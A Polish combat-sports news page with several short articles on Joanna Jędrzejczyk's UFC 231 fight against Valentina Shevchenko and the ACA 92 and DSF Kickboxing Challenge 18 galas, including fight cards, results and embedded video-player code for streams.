Nic nie wskazuje na to, żeby UFC chciało pozbyć się Polki. 31-latka zrobiła wiele dobrego w amerykańskiej organizacji. Prezydent UFC w wywiadzie z Megan Olivi przyznał, że widzi Jędrzejczyk w kategorii do 155 funtów. 31-letnia Polka jest gotowa na taki ruch, ale pod warunkiem rywalizacji o pas mistrzowski. Jędrzejczyk zadeklarowała chęć pozostania w kategorii muszej. Zapewne prędzej czy później (obojętnie w której wadze) Polka ponownie będzie miała szansę walczyć o pas. Warunek – musi zacząć wygrywać. Jeśli kolejna walka zakończy się jej porażką, wtedy zaczną się prawdziwe kłopoty.

Przed starciem z Szewczenko, Jędrzejczyk dawano mniej szans na zwycięstwo. Pokutowała przeszłość, ponieważ muay tai trzykrotnie lepsza była zawodniczka reprezentująca Peru. Dodatkowo – Polka wracała do kategorii muszej. Na myśli przychodzi sytuacja z Rondą Rousey, która panowała w kategorii koguciej, jednak niespodziewanie przegrała z Holly Holm. Wróciła i doznała porażki w starciu z Amandą Nunes. Jednak przypadek Amerykanki był zgoła inny. Rousey mocno przeżywała utratę pasa i pierwszą porażkę w karierze. W jednym z wywiadów powiedziała, że chciała odebrać sobie życie.

Jak widać – każdy sportowiec przyjmuje porażkę w inny sposób. Obecnie Rousey występuje w organizacji WWE (wrestling). Wydaje się, że w przypadku Jędrzejczyk porażka działa na nią „jak płachta na byka”. Polka na dobre zagnieździła się w UFC i nadal będzie się tam rozpychała łokciami. Obecnie nadal jej w uprzywilejowanej pozycji, ale kolejna porażka może ją diametralnie zmienić. – Czas wracać do domu do Polski. Do zobaczenia wkrótce – napisała na Facebooku Jędrzejczyk. Zatem czekamy cierpliwie na kolejny pojedynek.

Fot. Joanna Jędrzejczyk Facebook

KM

Na początek czterech

„My czterej pancerni” – chciałoby się zanucić. 16 lutego w Warszawie odbędzie się gala ACA 92, podczas której zobaczymy Marcina Helda, Piotra Strusa, Karola Celińskiego oraz Daniela Omielańczuka. Liczba Polaków może być jednak większa.

Organizacja Absolute Championship Akhmat ujawniła pierwsze karty zaplanowanej na 16 lutego gali, która odbędzie się na stołecznym Torwarze. W Warszawie zaprezentuje się Marcin Held, który zmierzy się z Abdulazizem Abdulvakhabovem. Dla Polaka będzie to trzeci występ w organizacji ACB (obecnie ACA). 26-latek dotychczas wygrywał przed czasem przez dźwignie skrętowe na staw skokowy – pokonał Callana Potter i Musę Khamanaeva.

Po przegranej walce o pas mistrzowski w wadze średniej, kolejny pojedynek stoczy Piotr Strus. We wrześniu na dystansie pięciu rund Polak uległ Albertowi Durajewowi. Wcześniej zanotował cztery wygrane, zaś walkę z Michaił Kołobiegowem ostateczno uznano za no contest. W Warszawie Strus zmierzy się z Ibragimem Czuzhigajewem.

Niepokonany w ACB jest Karol Celiński. Wygrana z Maksimem Futinem była dla Polaka przepustką do walki o pas mistrzowski wagi półciężkiej. 8 grudnia Daniel Omielańczuk zapisał na swoim koncie trzecie zwycięstwo w organizacji DSF Kickboxing Challenge. Teraz czeka go zmiana płaszczyzny i walka w MMA. Były zawodnik UFC zaprezentuje się trzeci raz w organizacji ACB, z którą przygodę zaczął od wygranej z Bobbym Brentsem. Z kolei w Krasnodarze przegrał z Amirem Alim Akbarim.

Na Torwarze zaprezentuje się również znany z KSW Aslambek Saidov. Dla organizacji ACB (ACA) 34-latek stoczył sześć walk, z których pięć zakończyło się jego triumfem. Ostatnio Saidov zaprezentował się na gali w Dubaju, gdzie wygrał z Roanem Carneiro. Były mistrz KSW w wadze półśredniej wystąpi w Warszawie po blisko trzech latach. W marcu 2016 roku wypunktował Yasubeya Enomoto. Podczas ACA 92 Saidov zmierzy się z Ciro Rodriguesem.

Czekamy na nazwiska kolejnych zawodników. Organizatorzy zapowiadają, że nie zabraknie wśród nich Polaków, a 16 lutego na Torwarze odbędzie się czternaście pojedynków.

Fot. Piotr Strus Facebook

KM

Sarara mistrzem DSF!

Zmiana na tronie organizacji DSF.  W Ząbkach Tomasz Sarara znokautował Piotra Romankiewicza i sięgnął po pas mistrzowski wagi ciężkiej. Podczas gali DSF 18 odbył się mecz Polska – Białoruś, który zakończył się triumfem gości.

Walka o tron wagi ciężkiej zapowiadała się emocjonująco. Mistrz Piotr Romankiewicz pokonał dwóch rywali i udowodnił swoją wielką siłę. Tomasz Sarara nie obawiał się zawodnika z Białorusi, lecz ostrzył sobie zęby na kolejny tytuł w swoim dorobku. Mistrz agresywnie ruszył do przodu i słał w stronę Polaka kolejne ciosy. Z czasem sytuacja uspokoiła się, jednak Romankiewicz kontrolował sytuację w pierwszej rundzie. Trybuny dopingowały Sararę z całych sił, a ten musiał być czujny. W drugiej rundzie na deskach znalazł się Romankiewicz, ale był to efekt… poślizgnięcia przy wykonywaniu low kicka. Wraz z upływem czasu pewniej w ringu prezentował się Sarara, jednak cały czas groźniejsze były akcje Białorusina. Widać było, że mistrz słabnie, a Polak powoli wchodził na najwyższe obroty. W trzeciej rundzie pretendent idealnie trafił posiadacza pasa, który padł na deski i był liczony. Białorusin odpowiedział celnym kolanem. Sarara nie był dłużny – podbródkowy i kolano. Czwartą rundę z animuszem rozpoczął Romankiewicz, ale chwilę później sytuacja zmieniła się. Wysokie kopnięcie Sarary i Białorusin padł na deski. Romankiewicz nie był w stanie wstać. Tomasz Sarara zdobył pas mistrzowski.

Pierwotnie Daniel Omielańczuk miał zmierzyć się w Ząbkach z Tomaszem Czerwińskim, jednak w czwartek (6 grudnia) pojedynek został odwołany. Niedoszły rywal byłego zawodnika UFC wystąpił kilka dni wcześniej na gali w Rumunii, gdzie przegrał przez nokaut. Federacja DSF nie chciała ryzykować zdrowia Czerwińskiego i zwracała uwagę na nieodpowiedzialność zawodnika, którego chce pociągnąć do odpowiedzialności finansowej. W związku z tym wydawało się, że 36-latka zabraknie w Ząbkach, jednak ostatecznie zakontraktowano mu rywala. Naprzeciw Omielańczuka stanął Yurii Horbenko.

Polak walczył o trzecie zwycięstwo w DSF. Od pierwszych minut Omielańczuk dominował nad przeciwnikiem z Ukrainy. Horbenko nie miał zbyt wielu argumentów, aby przeciwstawić się 36-latkowi. W premierowej odsłonie Ukrainiec poczuł siłę Omielańczuka, jednak prawdziwe problemy nadeszły w drugiej odsłonie. Horbenko miał okazję dobrze poznać deski w Ząbkach. Omielańczuk słał w stronę Ukraińca kolejne ciosy, walkę zakończyło wysokie kopnięcie. Polski zawodnik odniósł pierwsze zwycięstwo w DSF przed czasem.

Międzypaństwowy mecz zakończył się zwycięstwem Białorusi, Polacy musieli uznać wyższość sąsiadów – 2:3. Efektownie zaprezentował się Mateusz Duczmal, który w drugiej rundzie pokonał Ihara Kamkoua. Swoją walkę wygrał również Łukasz Bartnik. Pokonani z ringu schodzili Dawid Mirkowski, Michał Ronkiewicz (po dogrywce) oraz Michał Królik.

W ramach części Ladies Fight Night wszystkie trzy walki zakończyły się decyzją sędziów. Iwona Nieroda pokonałą Volkę Zhurauskayę, Sylwia Kaliś lepsza od Klary Kleczkowskiej, a Barbara Nalepka od Klaudii Suszczyńskiej.

KM

LIVE: DSF Kickboxing Challenge 18

Zapraszamy na transmisję telewizyjną z gali DSF 18. Transmisja dostępna tylko dla widzów z zagranicy.

[kod]

DSF Kickboxing Challenge 18

DSF Kickboxing Challenge 18

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream9/live-fhd.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream9/live-fhd.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream9/live-fhd.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

Kolejna szansa na wywalczenie pasa

Joanna Jędrzejczyk stoczy trzecią walkę w tym roku. 8 grudnia podczas gali UFC 231 w Toronto "JJ" zmierzy się z Walentiną Szewczenko, a na szali pojawi się pas mistrzowski w kategorii muszej.

Jędrzejczyk zapisała bogatą kartę w historii kobiecego MMA, ale po sobotnim (8 grudnia) pojedynku może ją wzbogacić. Jeśli pokona Szewczenko, będzie pierwszą zawodniczką, która sięgnie po tytuł w drugiej kategorii wagowej. Nie będzie to łatwe, ponieważ pochodząca z Kirgistanu reprezentantka Peru jest zdeterminowana by znaleźć się na szczycie. 30-letnia Szewczenko podjęła już atak na pas mistrzowski, jednak w kategorii koguciej. Lepsza okazała się Amanda Nunes.

Obie zawodniczki mają rozbudzone apetyty, a także różne doświadczenie w UFC. Dla Jędrzejczyk będzie to już dwunaste starcie w amerykańskiej organizacji, zaś Szewczenko stoczy walkę numer siedem. Zdecydowanie Polka ma większy dorobek. W marcu 2015 roku Jędrzejczyk pokonała Carlę Esparzę i zdobyła pas w wadze słomkowej. "JJ" pięciokrotnie skutecznie broniła tytułu, a straciła go na rzecz Rose Namajunas. W rewanżu lepsza była również Amerykanka. Jędrzejczyk zanotowała dwie porażki z rzędu, jednak w ostatnim pojedynku zwyciężyła z Tecią Torres. Warto dodać, że Polka po czterech latach wraca do wyższej kategorii wagowej.

Co ciekawe, Szewczenko również dwukrotnie przegrała w UFC i z tą samą rywalką – Amandą Nunes. Reprezentantka Peru ma na rozkładzie byłą mistrzynię UFC w wadze koguciej Holly Holm. Ostatnio, luty 2018, Szewczenko wygrała z Priscilą Cachoeirą.

Warto wspomnieć, że nie będzie to pierwsze spotkanie zawodniczek. Jędrzejczyk i Szewczenko doskonale znają się z czasów występów w muay thai. W latach 2006-2008 spotkały się trzykrotnie w mistrzostwach świata. Zdecydowanie lepsze wspomnienia ma Szewczenko, która wygrała wszystkie starcia na punkty.

Zdaniem bukmacherów faworytką starcia jest reprezentantka Peru. Polka zapewnia jednak, że jest gotowa podjąć wyzwanie. – Spokojna i przygotowana w 100%, aby zwyciężyć i spełnić kolejne marzenie – podkreśla „JJ:. – Zrobię to ponownie! – zapewniła w mediach społecznościowych. Nie pozostaje nic innego jak czegoś na otwarcie nowego rozdziału w karierze Jędrzejczyk.

W walce wieczoru gali UFC 231, która odbędzie się 8 grudnia zmierzą się mistrz wagi piórkowej Max Holloway i Brian Ortega.

Fot. Joanna Jędrzejczyk Facebook

KM

Kobiety, mecz i walka o pas

8 grudnia w Ząbkach odbędzie się gala DSF Kickboxing Challenge 18. W karcie walk trzy pojedynki pań, mecz Polska – Białoruś oraz dwa wielkie starcia, w tym jedno o pas mistrzowski w wadze ciężkiej pomiędzy Piotrem Romankiewiczem a Tomaszem Sararą.

Chciałoby się rzec, żeby w Ząbkach nie zabraknie niczego, co jest niezbędne do wspaniałego widowiska. Pojawią się kobiety, obecne będą sportowe emocje i pojedynki o stawkę. Słowem – uczta dla miłośników kickboxingu.

Wszyscy „ostrzą sobie zęby” na starcie wieczoru, w którym Piotr Romankiewicz po raz kolejny będzie bronił pasa DSF w kategorii ciężkiej. Tytuł postara się mu wydrzeć Tomasz Sarara. Białorusin sięgnął po pas mistrzowski na gali DSF Kickboxing Challenge 10 w Nowym Sączu, gdzie pokonał Michała Turyńskiego. Romankiewicz skutecznie bronił tytułu w starciach z Danielem Claude'm Lentie oraz Danielem Żółtaszkiem. W Ząbkach rywalem potężnego Białorusina będzie utytułowany Tomasz Sarara. 33-letni Polak ma na swoim koncie mistrzowskie tytuły federacji FEN oraz Celtic Gladiator. Warto dodać, że na Narodowej Gali Boksu pokonał Tomasa Moznego i sięgnął po mistrzostwo świata WKN. Z pewnością Sarara będzie chciał dołożyć kolejną zdobycz do swojej kolekcji. Czy Romankiewicz mu na to pozwoli?

Niezwykle interesująco zapowiada się starcie potężnych Daniela Omielańczuka i Tomasza Czerwińskiego. Były zawodnik UFC stoczył w organizacji DSF dwa pojedynki. Omielańczuk pokonał Oliego Thompsona i Nico Falina, a teraz na jego drodze stanie 43-letni Tomasz Czerwiński. Zawodnik od dawna mieszka i trenuje na Wyspach Brytyjskich. Polska publiczność zapamiętała go z występu na FEN 14, gdzie przegrał z Tyberiuszem Kowalczykiem. W Ząbkach zapowiada się grad mocnych ciosów.

W Ząbkach zaprezentuje się również mistrzyni świata low kick z 2015 roku i brązowa medalistka tegorocznego czempionatu z Bratysławy – Iwona Nieroda. Jej rywalką będzie Volha Zhurauskaya. Kolejną walkę dla organizacji DSF stoczy Klara Kleczkowska, która zmierzy się z Sylwią Kaliś.

AKTUALIZACJA 6 grudnia godz. 13.45:

Jak podała organizacja DSF Kickboxing Challenge, na gali w Ząbkach nie dojdzie do starcia Daniela Omielańczuka z Tomaszem Czerwińskim. Drugi z zawodników kilka dni temu stoczył walkę, w której poniósł porażkę przez nokaut. Ze względu na zdrowie Czerwińskiego, DSF nie chce dopuszczać kolejnego pojedynku w tak krótkim czasie. Federacji nie udało się znaleźć odpowiedniego rywala dla Omielańczuka. – Nie jesteśmy w stanie zapewnić godnego zastępstwa na kilka dni przed galą. Wielu zawodników odmówiło walki z Danielem mimo dobrej oferty finansowej – mówi Sławomir Duba, prezes federacji DSF Kickboxing Challenge. – To rażąca nieodpowiedzialność po stronie Tomasza Czerwińskiego, który w tajemnicy przed nami stoczył przegraną walkę niespełna przed tygodniem. Naraził w ten sposób na duże straty zarówno Daniela jak i federację, która poniosła koszty m.in. promocji i transportu – kończy Duba w zaprezentowanym przez DSF oświadczeniu.

Karta walk DSF 18:

K-1 52 kg Barbara Nalepka – Klaudia Suszczyńska

K-1 56 kg Sylwia Kaliś – Klara Kleczkowska

K-1 56 kg Iwona Nieroda – Volha Zhurauskaya

Mecz Polska vs Białoruś (3×3 min): K-1 65 kg Michał Królik – Artsem Vinnik, K-1 75 kg Michał Ronkiewicz – Maks Spadarenka, K-1 81 kg Dawid Mirkowski – Mikita Shostak, K-1 86 kg Łukasz Bartnik – Yauhen Miahkou, K-1 +91 kg Mateusz Duczmal – Ihar Kamkou

Walka wieczoru (o mistrzowski pas DSF): K-1 +91 kg Petr Romankevich – Tomasz Sarara

KM

DSF18: Promo

DSF 18

[kod]

DSF Promo

DSF Promo

var player = redcdnplayer("redcdnplayer").setup({
file: {
ss: "//r.dcs.redcdn.pl/ss/o2/Marklaw/DSF18/Manifest.ism/manifest",
dash: "//r.dcs.redcdn.pl/dash/o2/Marklaw/DSF18/Manifest.ism",
hls: "//r.dcs.redcdn.pl/hls/o2/Marklaw/DSF18/hls/playlist.hls/playlist.m3u8",
mp4: "//r.dcs.redcdn.pl/file/o2/Marklaw/DSF18/DSF18_Promo.mp4",
},
width: 640,
height: 385,
autoplay: false,
});